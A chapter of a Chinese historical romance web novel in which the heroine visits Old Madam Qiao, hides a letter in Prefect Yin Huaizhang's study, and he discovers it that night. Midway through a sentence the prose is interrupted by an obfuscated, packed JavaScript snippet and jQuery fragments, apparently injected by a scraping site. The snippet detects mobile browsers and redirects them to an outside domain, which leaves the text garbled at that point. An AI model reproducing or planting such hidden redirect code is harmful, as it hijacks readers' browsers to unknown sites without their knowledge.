巳正三刻，月芽提着一捆药草来到尹府门前。
门房上通传的是一个约摸十二三岁的小子，瞧着圆头圆脑的十分讨喜，道一声：“姑娘请稍歇，小的这就去里头通报我们老太太。”便兔子似的伶俐，跑没了影儿。
月芽本以为这大户人家的规矩都繁重，似陈府一般，需得里三层外三层地层层通报一轮，方能得见。
谁料，不过是门前两个石狮子间来回溜个弯的功夫，就见着一袭暗花纹素缎的乔老太在丫鬟的搀扶下亲自出来迎接。
她见了月芽，自是满眼欢喜。
“好孩子，你来得正巧，我正愁今日没人陪我。”
月芽提了提手上的草药：“说好的，要来为老太太解忧。”
“好、好。”乔老太笑眯眯的，忽见门外还有一牵高头大马的年轻男子，长得极俊，不免多看了几眼。
“这位是？”
月芽眨了眨眼，如今撒谎都能学得和某人一样面色如常了：“这是我的远方表兄，因担心我一人在外不便，特来送我的。”
“噢，后生相貌堂堂，不知议亲了没有？”乔老太长日无聊，就爱寻些喜事张罗。
萧巳淡淡一笑，有谦谦君子之风，执礼甚恭：“晚辈惭愧，如今功名未立，一介白身，身无长物，常言先立业，而后成家，若过早成亲，一则恐分心学业，二则恐委屈妻房，因而未曾谈婚论嫁。”
他似决心毅然，乔老太虽觉惋惜，倒也不再追问。
萧巳拱手拜别，月芽放心不下，叮嘱道：“表兄，可记得晚些时候再来接我！”
那狐狸冲他挤眉，灵巧动人的一双明眸里是对他凶巴巴的警告。
这是怕他食言，背着她偷偷上山呢。
他逗趣道：“好啰嗦，多大的姑娘了，也不怕老太太笑话你？”
乔老太笑看这一对感情甚好的“兄妹”俩打闹。
月芽随进尹府，要寻便宜之处研磨草药敷料。
“不忙，今日无事，小芽儿何不陪我先逛逛园子？我已命人造饭，等晌午我们用过膳后，你再为我敷脸也不迟。”乔老太亲昵地挽住月芽的手，引她穿过游廊。
行至一条幽静的鹅卵石小径，夹道两旁都是开得正盛的时令花卉，姹紫嫣红，美不胜收。
随行的婢女遥遥跟在几米开外，月芽问道：“我怎好打搅您府中清净？只怕尹大人在家，我一乡野妇人，行事鲁莽，要使他烦扰。”
乔老太嗔骂：“休提那无趣之人，我要他陪我到城外游玩赏景，他总推说公务繁忙，今日更是天不亮的就往公署里去了，不到日落黄昏，他是绝不会回来的，你就安心在这陪陪我这老婆子吧，吵不着他。”
月芽心道这尹知州醉心于公务，想来也不会是个耽于享乐、会与陈知县同流合污之人。
可乔老太却似遗憾地叹了口气。
天晓得她这个老母亲为自己儿子操碎了多少心，念着这几日月芽会来，她特意要留儿子在府中，有心安排两人相见。
谁料叫他识破，说什么也不肯留下，但凡说教他几句，他又拿早逝的儿媳来搪塞她。
“阿婉才走不过半年，母亲便要我再娶他人，岂非要使岳家寒心？以为我是那等薄情寡性之人。况且我与阿婉夫妻恩爱，她去我已神伤不已，实无意再论婚事，母亲总在我面前提起，不是叫我更陷哀痛？”
乔老太痛心道：“我与林家素来交好，阿婉芳年早逝我亦十分伤怀，可她嫁与你七年，一直无有所出也是事实，念她贤良孝顺，她在时，我也从没有逼过她什么，可她素来体弱多思，自知不能生育，也常黯然伤神，这次从长安来邵州途中，她急病身亡，安知不是素日忧心过度，郁绝魂销矣？”
“如今你为了阿婉不肯再婚生育，她即便泉下有知，也只会痛责自身，误你终身大事！”
尹怀章见说不过其母，心中愁郁苦闷，亦自责往日不曾多留意妻子的心事，使她病情加重，今日干脆连晨安也不向其母问过，在鸡鸣前就独自一人出门去了，试图用公务麻痹自己。
乔老太也不能真让人去绑了儿子回来，只能先按下忧心，再寻方法劝说。
“不说他了，咱们只乐咱们的，你倒和我说说你们乡间都有些什么趣事，与我解解闷也是好的。”
乔老太虽是贵妇官眷，但也爱听些乡野八卦。
月芽心知今日是见不到尹知州了，也不急切，暗自紧了紧袖口，将其中之物收好，以免不慎掉落。
宽慰乔老太：“尹大人刻苦勤政，老太太应该高兴才是。”
两人携手一路游园，赏过别致的山石造景，吹过临湖清风，见远处有一片密竹临水而立，枝叶参差交错间，将日下光影筛得满地婆娑，雅致得似一幅水墨画。
走近些，只见竹园前有一匾额悬挂，刻有三字：劲节斋。
只这“劲节”二字，便可知其主崇尚高雅，喜爱竹子坚贞不屈的风骨。
乔老太道：“这是我儿怀章的书房，是依照我们在长安的宅子里的竹园所建，他自幼好读书，此次来邵州任上，也舍不下他这些藏书，一并带了来，往日他若在府中总爱在此静修。”
“今日他不在家，不便领你进去观赏，听你的表兄说，他有意考取功名？等哪日怀章在家，叫上你的表兄一道来府中，想他二人也能谈得上话。如你表兄有想读之书，怀章也会乐意出借的。”
月芽心道那人不过是随口胡扯的话，倒叫老太太放在心上了，她何曾见他真心想要科考。
游完园子，老太太于小阁设宴款待，席上月芽说起碧水村中的一件趣事。
有个老婆婆，盼孙多年不得，两年前正逢中秋佳节，一家人在门前上月，偶然路过一个衣衫褴褛的老道士。
家人们见其脏污，不予理会，唯有老婆婆善心，把新鲜饭食、好衣好鞋相赠。
老道士走时唱了一段词：“施舍一碗水，泉涌报深恩，扶起路边柳，荫蔽后来人，心田种善苗，何愁无结果？莫看乌云厚，终有天门开……”
不成想，翻过了新年，那家多年不孕的儿媳就被诊出了身孕，如今已经生下了一个漂亮的小姑娘。
“哎呀呀！果然是好心有好报啊！”这桩喜事正说到老太太心坎上去了，她一欢喜，便叫人送了酒来助兴。
月芽陪着也喝了几杯，酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902461|176701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足饭饱后还被老太太安排在一间厢房歇息。
午后蝉鸣悠悠，更显院中雅静。
乔老太待下一向宽和，无事忙时，府中下人们大都可以各得清闲自在，现下老太太正在房中午睡，园内侍婢也寻了静处歇晌去。
月芽悄悄起身，按着今日游园时记下的路线，七拐八拐地终于找到了竹园。
此处并无人值守，月芽推门而入，只见里头先是一个小院子，有两个大缸摆在中间，养着荷花，因未到花开时节，只有几片碧绿的荷叶摇曳其中。
再往前是一间竹屋，门上也没有落锁，月芽观察四周动静，见无异样，便快速进入屋内。
一片清香袭来，这竹屋内又阴凉又安静，可真是夏日避暑的好去处。
月芽自然没有乱动里头的物件，她将袖中信封抽出，正想寻一处合适安放的位置，见一张书案摆在窗前，便走过去察看。
先入目的是一抹丽色，只见宣纸上画着一个身穿天青色罗裙的美人，她手中抱着一支荷花，正垂眸沉思，眉目柔婉。
月芽只觉得她的面容好生眼熟，但因画的是侧颜，又一时说不上来像谁。
外头忽然传来脚步声，月芽不敢再耽搁，赶紧将信封藏在画纸之下，再悄声出门。
花道上有一侍女寻来：“方姑娘去了何处？”
月芽面上装作赧然，扶额道：“饮酒后觉得有些不适，想寻一处方便，不料竟然迷了路。”
侍女笑道：“姑娘该叫奴婢们为您带路的，现在也差不多该到老太太午睡醒来的时辰了，姑娘请随我来吧。”
月芽又陪伴了乔老太一整个下午才被萧巳接回家中。
夜色如墨，月光映水。
一辆马车驶入尹府后停下。
尹怀章揉了揉紧绷的眉心，问打帘的侍女：“老太太今日如何？”
侍女悄悄观察其神色，但见男子棱角分明的侧脸隐在昏昏夜色之中，半明半昧，眉骨深刻下，眼底黑沉中，有化不开的疲倦。
侍女便捡了好听的话去说：“今日有一位方姑娘来府中陪伴老太太说话解闷，老太太心情好了许多，饭食都用得比往日多些，午膳还高兴地饮了几杯酒呢，此刻已经睡下了。”
尹怀章点了点头，径自往后院的劲节斋去。
竹影疏疏，静夜怀思，他独自坐在案前，痴痴地凝着画中之人，神魂飘忽。
“阿婉……”无意识地轻唤一声，风拂帘动，似在回应。
他情不自禁地抚上画中人面庞，指尖流连难舍。
忽感到画纸下有一处薄薄的凸起，他将其抽出。
正疑惑何处而来一个无名信封，他展开其中纸张，看了片刻，眼中墨色愈发浓重。
“今日可还有人来过府中？”
前来送水的侍女道：“除了老太太请来的方姑娘再无旁人。”
尹怀章皱眉：“她来过我的书房？”
侍女：“没有，老太太只带着方姑娘游了园子，因大人不在家中，老太太并未让她来此。”
尹怀章挥袖让侍女退下，手中捏住这薄薄一片，却似有无形之重的纸张，陷入了沉思。